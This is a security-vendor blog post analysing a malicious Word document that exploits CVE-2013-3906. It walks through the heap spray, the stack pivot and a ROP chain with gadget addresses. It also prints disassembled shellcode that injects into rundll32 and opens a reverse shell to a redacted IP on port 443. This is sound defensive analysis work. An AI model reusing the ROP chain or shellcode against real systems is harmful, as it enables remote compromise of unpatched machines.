Analysis of a CVE-2013-3906 Exploit

Blue

Many of CrowdStrike’s customers are often targeted by email phishing campaigns and strategic web compromises (also known as watering-hole attacks). These attacks use exploits to take advantage of vulnerable unpatched software installed on the victim’s computer. If an exploit is successful, then it will run an attacker’s payload, which will typically install malware bundled with the exploit itself and/or download malware from a remote server.

If you’re in charge of defending your enterprise’s network and you know that an adversary is sending your employees malicious email attachments, you would want to know the exploits’ payload functionality. For example, if you know that your company was targeted by an exploit whose payload communicates with http://evil.example.com, you’d want to ensure that your network’s IDS/IPS systems detect and prevent communication with that remote server. While antivirus products can often detect these exploits, these products won’t tell the user what the exploit’s payload is actually designed to do:

Security software that tries to determine a payload’s functionality via emulation or a sandbox will sometimes work, but it still requires knowledge of the exploit’s targeted environment, as the exploit may work in one system configuration but not another.

In-depth analysis of these threats is where CrowdStrike comes into play, where we focus on intelligence-driven security. Knowing that a computer received a phishing attempt is only half the battle — the other half is knowing the functionality of the adversary’s payload.

We were recently notified of a new Microsoft Word document that exploits CVE-2013-3906. While this is certainly not the first blog post to discuss this vulnerability and related exploits, we want to be the first to show you an end-to-end walkthrough of a CVE-2013-3906 exploit analysis with a detailed focus on the payload.

Research
When we received the malicious Word document, we already knew that it contained an exploit for CVE-2013-3906. For one, we developed a YARA rule for CVE-2013-3906 exploits when Microsoft first announced the vulnerability, and this YARA rule detected the Word document immediately. And secondly, this document was already detected by 12 AV engines when it was released into the wild (though 32 other AV engines did not detect the file).

When analyzing any file that contains an exploit, the most difficult part of the task is typically in finding the actual payload code. There are three main approaches for this stage of the analysis:

  1. Statically search for shellcode in the exploit file
    This can be difficult if the file is very large or if the file contains obfuscated shellcode
  2. Understand the vulnerability well enough to know where the payload would exist in the exploit file
    This requires the vulnerability to be well documented, or it requires the researcher to analyze the vulnerability from scratch, which can be very time consuming
  3. Attempt to dynamically execute the exploit and its payload
    This works well as long as the exploit actually works in the dynamic analysis environment and a breakpoint can be set during some point of the exploit execution or payload execution

Given that a full vendor explanation was not available for this vulnerability, we opted to use approach #3 for the sake of efficiency.

The Metasploit module for this exploit shows the following crash information:

Based on this data, we can assume that the exploit is used to control register EAX and hijack the function OGL!GdipCreatePath (the comments in the Metasploit module more-or-less confirm this).

According to Microsoft, Office 2010 on Windows XP SP3 is vulnerable to this security issue, so we can use that configuration for our analysis environment to trigger the exploit, and we can make changes along the way if we find that the exploit requires a different configuration for the payload to run.

Running the Exploit
To investigate the exploit’s execution, we run Microsoft Word 2010 in a debugger on Windows XP SP3 and set a breakpoint on the CALL DWORD PTR DS:[EAX+50] line in the OGL!GdipCreatePath function that was shown in the crash snippet above. Once the breakpoint is set, we open the malicious document in the running Word process and we see that our breakpoint gets hit:

However, we can see in OllyDbg’s hint pane that [EAX+50] points to OGL.44024C6E, an address in Microsoft Office’s OGL.DLL module. This surely isn’t the result of a hijacked EAX value, and if we have the debugger continue execution of the process, we see that the breakpoint gets hit again with the same value for EAX(0x440583A8); this will actually be the value of EAX for many breakpoint hits at this address. We’re only interested in the case where EAX is hijacked by the exploit to point somewhere interesting, so we can replace our current breakpoint with a conditional breakpoint:

With our conditional breakpoint now set, we can continue execution of the process, during which we’ll break at the following point:

We can see above that [EAX+50] now points to an address in msvcrt.dll. Below, we can see that the instruction at that address in msvcrt.dll acts as a stack pivot, setting the stack pointer to the value of EAX (0x200F06B0).

The result of the stack pivot can be seen in OllyDbg’s stack pane below, with the RETN instruction returning to 0x77C34FBF (the address on the top of the stack):

As can be seen below, the instruction at 0x77C34FBF POPs the stack value after 0x77C34FBF into ESP, causing the stack pointer to point to 0x52537A6E, which is an invalid (unmapped) address:

If we were to continue execution, the Word process would crash, leaving the rest of the payload unexecuted. Based on these results, it is apparent that either the exploit is broken, or it is meant for a different environment than our test environment. In either case, we’d still like to know the intent of the payload, so we need to take a closer look at the memory region containing the pivoted stack:

As can be seen above, this heap memory region contains a 0x700-byte “header”, followed by a spray of 0x400 bytes (highlighted in gray), repeating 512 times. We can actually see this heap spray (of size 0x00081000 bytes) repeated throughout several heap memory regions:

This heap spray is a result of all of the activeX*.bin files embedded in the Word document, each of which contains the 512 occurrences of the 0x400-byte ROP-chain block highlighted above:

The stack pivot that occurred during our testing above resulted in a new stack pointer of 0x200F06B0. However, this value is 0x3B0 bytes into one of the repeated ROP-chain blocks (0x50 bytes before the beginning of the next ROP-chain block). Common sense would suggest that the ROP-chain execution was meant to begin at the beginning of the ROP-chain block, not 0x3B0 bytes into it.

We can test this hypothesis by running the exploit back through OllyDbg, and this time changing the value of ESP before executing the RETN instruction after the stack pivot to point to the beginning of the next ROP-chain block:

Note that we use 0x200F0704 instead of 0x200F0700, since 0x200F0700 points to the stack pivot instruction that was just executed.

Now when we step through the ROP-chain, we see the following instructions executed:

ESP Before Previous RETN

Virtual Addresses of Instructions

Instructions

Comments

0x200F0704

0x77C3B860

0x77C3B861

POP EAX

RETN

EAX = 0xFFFFFFFF

0x200F070C

0x77C1BE18

0x77C1BE1A

0x77C1BE1B

NEG EAX

POP EBP

RETN

EAX = 0x00000001

EBP = 0x84CBC460

0x200F0714

0x77C2362C

0x77C2362D

POP EBX

RETN

EBX = 0x77C5D9BB

0x200F071C

0x77C2E071

0x77C2E072

0x77C2E074

XCHG EAX, EBX

ADD BYTE PTR DS:[EAX], AL

RETN

EAX = 0x77C5D9BB

EBX = 0x00000001

0x200F0720

0x77C50D13

0x77C50D14

POP EDX

RETN

EDX = 0xFFFFFFC0

0x200F0728

0x77C58FBC

0x77C58FBD

XCHG EAX, EDX

RETN

EAX = 0xFFFFFFC0

EDX = 0x77C5D9BB

0x200F072C

0x77C1BE18

0x77C1BE1A

0x77C1BE1B

NEG EAX

POP EBP

RETN

EAX = 0x00000040

EBP = 0x6C5BA53B

0x200F0734

0x77C58FBC

0x77C58FBD

XCHG EAX, EDX

RETN

EAX = 0x77C5D9BB

EDX = 0x00000040

0x200F0738

0x77C3EE15

0x77C3EE16

POP EBP

RETN

EBP = 0x77C3EE15

0x200F0740

0x77C3EEEF

0x77C3EEF0

POP ECX

RETN

ECX = 0x77C5D9BB

0x200F0748

0x77C2A88C

0x77C2A88D

POP EDI

RETN

EDI = 0x77C39F92

0x200F0750

0x77C3A184

0x77C3A185

POP ESI

RETN

ESI = 0x77C2AACC

0x200F0758

0x77C3B860

0x77C3B861

POP EAX

RETN

EAX = 0x77C11120 (VirtalProtect)

0x200F0760

0x77C12DF9

0x77C12DFA

PUSHAD

RETN

PUSH EAX, ECX, EDX, EBX, ESP, EBP, ESI, AND EDI

0x200F0744

0x77C39F92

RETN

0x200F0748

0x77C2AACC

JMP DWORD PTR DS:[EAX]

VirtualProtect(

   0x200F0764,

   0x00000001,

   0x00000040 [PAGE_EXECUTE_READWRITE],

   0x77C5D9BB)

This makes the page containing address 0x200F0764 executable

0x200F074C

0x77C3EE15

0x77C3EE16

POP EBP

RETN

EBP = 0x77C11120 (VirtalProtect)

0x200F0764

0x77C35459

0x77C3545A

PUSH ESP

RETN

Jumps to shellcode at 0x200F0768

The hard-coded addresses in the ROP-chain target msvcrt.dll version 7.0.2600.5512 (specific to Windows XP SP3), and while the ROP-chain is similar to public ROP-chains, it contains a few different ROP-gadgets, perhaps to subvert security software that would otherwise detect the publicly documented ROP-chains.

The shellcode at 0x200F0768 begins with a loop to XOR the obfuscated shellcode, followed by a Metasploit-based payload:

seg000:200F0768         mov     eax, large fs:18h

seg000:200F076E         add     eax, 8

seg000:200F0771         mov     esp, [eax]

seg000:200F0773         add     esp, 0FFFFF830h

seg000:200F0779         fcmovu  st, st(5)

seg000:200F077B         mov     eax, 0A7E745ABh

seg000:200F0780         fnstenv byte ptr [esp-0Ch]

seg000:200F0784         pop     ebx

seg000:200F0785         sub     ecx, ecx

seg000:200F0787         mov     cl, 75h ; ‘u’

seg000:200F0789         xor     [ebx+17h], eax

seg000:200F078C         add     eax, [ebx+17h]

seg000:200F078F         add     ebx, 4

seg000:200F0792         loop    loc_200F0789

seg000:200F0794         cld

seg000:200F0795         jmp     loc_200F0820

seg000:200F0820         call    sub_200F079A

seg000:200F079A         pop     ebp

seg000:200F079B         add     ebp, 0Bh                ; ebp now points to api_call

                                                        ; hash lookup table can be found here

seg000:200F079E         add     esp, 0FFFFFE70h

seg000:200F07A4         lea     edx, [esp+18Ch+var_12C]

seg000:200F07A8         push    edx

seg000:200F07A9         push    0B16B4AB1h

seg000:200F07AE         call    ebp                     ; GetStartupInfoA(&startupInfo)

seg000:200F07B0         lea     eax, [esp+arg_5C]

seg000:200F07B4         jmp     short loc_200F0812

seg000:200F0812         call    sub_200F07B6

seg000:200F0817 aRundll32 db ‘rundll32’,0

seg000:200F07B6         pop     esi                     ; esi = “rundll32”

seg000:200F07B7         lea     edi, [eax+60h]

seg000:200F07BA         push    edi

seg000:200F07BB         push    eax

seg000:200F07BC         xor     ebx, ebx

seg000:200F07BE         push    ebx

seg000:200F07BF         push    ebx

seg000:200F07C0         push    8000004h

seg000:200F07C5         push    ebx

seg000:200F07C6         push    ebx

seg000:200F07C7         push    ebx

seg000:200F07C8         push    esi

seg000:200F07C9         push    ebx

seg000:200F07CA         push    863FCC79h

seg000:200F07CF         call    ebp                     ; CreateProcessA(NULL, “rundll32”, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &startupInfo, &processInfo)

seg000:200F07D1         test    eax, eax

seg000:200F07D3         jz      short loc_200F082A

seg000:200F07D5         push    40h ; ‘@’

seg000:200F07D7         add     bh, 10h

seg000:200F07DA         push    ebx

seg000:200F07DB         push    ebx

seg000:200F07DC         xor     ebx, ebx

seg000:200F07DE         push    ebx

seg000:200F07DF         push    dword ptr [edi]

seg000:200F07E1         push    3F9287AEh

seg000:200F07E6         call    ebp                     ; VirtualAllocEx(processInfo.hProcess, NULL, 0x00001000, MEM_COMMIT, PAGE_EXECUTE_READWRITE)

seg000:200F07E8         push    esp

seg000:200F07E9         push    13Ah

seg000:200F07EE         jmp     short loc_200F0825

seg000:200F0825         call    sub_200F07F0

seg000:200F07F0         push    eax

seg000:200F07F1         push    dword ptr [edi]

seg000:200F07F3         push    0E7BDD8C5h

seg000:200F07F8         call    ebp                     ; WriteProcessMemory(processInfo.hProcess, <allocated address>, 0x200F082A, 0x0000013A, <stack address>)

seg000:200F07FA         push    ebx

seg000:200F07FB         push    ebx

seg000:200F07FC         push    ebx

seg000:200F07FD         mov     ecx, [esp+0Ch+var_10]

seg000:200F0801         push    ecx

seg000:200F0802         push    ebx

seg000:200F0803         push    ebx

seg000:200F0804         push    dword ptr [edi]

seg000:200F0806         push    799AACC6h

seg000:200F080B         call    ebp                     ; CreateRemoteThread(processInfo.hProcess, NULL, 0x00000000, <allocated address>, NULL, 0x00000000, NULL)

seg000:200F080D         jmp     loc_200F0945

seg000:200F0945         mov     ebx, 56A2B5F0h

seg000:200F094A         push    9DBD95A6h

seg000:200F094F         call    ebp                     ; GetVersion()

seg000:200F0951         cmp     al, 6

seg000:200F0953         jl      short loc_200F095F

seg000:200F0955         cmp     bl, 0E0h ; ‘a’

seg000:200F0958         jnz     short loc_200F095F

seg000:200F095A         mov     ebx, 6F721347h

seg000:200F095F         push    0

seg000:200F0961         push    ebx

seg000:200F0962         call    ebp                     ; ExitProcess(0) or RtlExitUserThread(0)

The shellcode above runs the program “rundll32” as a suspended process, injects code into that process, and creates a new thread in that process to run the injected code. The injected code is as follows, based on the reverse_tcp module and the shell module from Metasploit:

seg000:200F082A         cld

seg000:200F082B         call    sub_200F08B9

seg000:200F08B9         pop     ebp

seg000:200F08BA         push    ’23’

seg000:200F08BF         push    ‘_2sw’                  ; “ws2_32”

seg000:200F08C4         push    esp

seg000:200F08C5         push    726774Ch

seg000:200F08CA         call    ebp                     ; LoadLibraryA(“ws2_32”)

seg000:200F08CC         mov     eax, 190h

seg000:200F08D1         sub     esp, eax

seg000:200F08D3         push    esp

seg000:200F08D4         push    eax

seg000:200F08D5         push    6B8029h

seg000:200F08DA         call    ebp                     ; WSAStartup(MAKEWORD(0x90, 0x01), &wsaData)

seg000:200F08DC         push    eax

seg000:200F08DD         push    eax

seg000:200F08DE         push    eax

seg000:200F08DF         push    eax

seg000:200F08E0         inc     eax

seg000:200F08E1         push    eax

seg000:200F08E2         inc     eax

seg000:200F08E3         push    eax

seg000:200F08E4         push    0E0DF0FEAh

seg000:200F08E9         call    ebp                     ; WSASocketA(AF_INET, SOCK_STREAM, 0, NULL, 0, 0)

seg000:200F08EB         mov     edi, eax                ; edi = eax = s

seg000:200F08ED         push    [redacted]              ; sin.sin_addr = [redacted]

seg000:200F08F2         push    0BB010002h              ; sin.sin_port = 443

seg000:200F08F2                                         ; sin.sin_family = AF_INET

seg000:200F08F7         mov     esi, esp

seg000:200F08F9         push    10h

seg000:200F08FB         push    esi

seg000:200F08FC         push    edi

seg000:200F08FD         push    6174A599h

seg000:200F0902         call    ebp                     ; connect(s, &sin, 16)

seg000:200F0904         push    ‘dmc’

seg000:200F0909         mov     ebx, esp

seg000:200F090B         push    edi

seg000:200F090C         push    edi

seg000:200F090D         push    edi

seg000:200F090E         xor     esi, esi

seg000:200F0910         push    12h

seg000:200F0912         pop     ecx

seg000:200F0913         push    esi

seg000:200F0914         loop    loc_200F0913

seg000:200F0916         mov     word ptr [esp+1F0h+var_1E0.dwFlags], 101h

seg000:200F091D         lea     eax, [esp+1F0h+var_1E0]

seg000:200F0921         mov     byte ptr [eax+STARTUPINFOA.cb], 44h

seg000:200F0924         push    esp

seg000:200F0925         push    eax

seg000:200F0926         push    esi

seg000:200F0927         push    esi

seg000:200F0928         push    esi

seg000:200F0929         inc     esi

seg000:200F092A         push    esi

seg000:200F092B         dec     esi

seg000:200F092C         push    esi

seg000:200F092D         push    esi

seg000:200F092E         push    ebx

seg000:200F092F         push    esi

seg000:200F0930         push    863FCC79h

seg000:200F0935         call    ebp                     ; CreateProcessA(NULL, “cmd”, NULL, NULL, TRUE, 0, NULL, NULL, &startupInfo, &processInfo)

seg000:200F0937         mov     eax, esp

seg000:200F0939         dec     esi

seg000:200F093A         push    esi

seg000:200F093B         inc     esi

seg000:200F093C         push    dword ptr [eax]

seg000:200F093E         push    601D8708h

seg000:200F0943         call    ebp                     ; WaitForSingleObject(processInfo.hProcess, INFINITE)

seg000:200F0945         mov     ebx, 56A2B5F0h

seg000:200F094A         push    9DBD95A6h

seg000:200F094F         call    ebp                     ; GetVersion()

seg000:200F0951         cmp     al, 6

seg000:200F0953         jl      short loc_200F095F

seg000:200F0955         cmp     bl, 0E0h ; ‘a’

seg000:200F0958         jnz     short loc_200F095F

seg000:200F095A         mov     ebx, 6F721347h

seg000:200F095F         push    0

seg000:200F0961         push    ebx

seg000:200F0962         call    ebp                     ; ExitProcess(0) or RtlExitUserThread(0)

This injected code creates a reverse shell to a hard-coded remote IP address ([redacted] above) on TCP port 443.

Summary
The adversary appears to have used three Metasploit modules to piece together this malicious Word document.

We discussed problems with typical antivirus software, in particular the limited information that such software provides to the user regarding detected threats. We described different approaches that can be used to analyze the payload of a file containing an exploit. And we did a deep dive on the dynamic analysis approach, during which we manually fixed the exploit so that we could decode and analyze the payload’s functionality.

With the adversary’s IP address discovered, CrowdStrike was able to notify our customers to help them better defend their networks. We were able to provide them with actionable intelligence that would not have been available to them with traditional security software.

For more information on this exploit or the adversaries using it, including detection logic or any of the adversaries tracked by CrowdStrike, please contact: intelligence@crowdstrike.com and inquire about our Intelligence subscription.
 

Stop Breaches with CrowdStrike Falcon request a live demo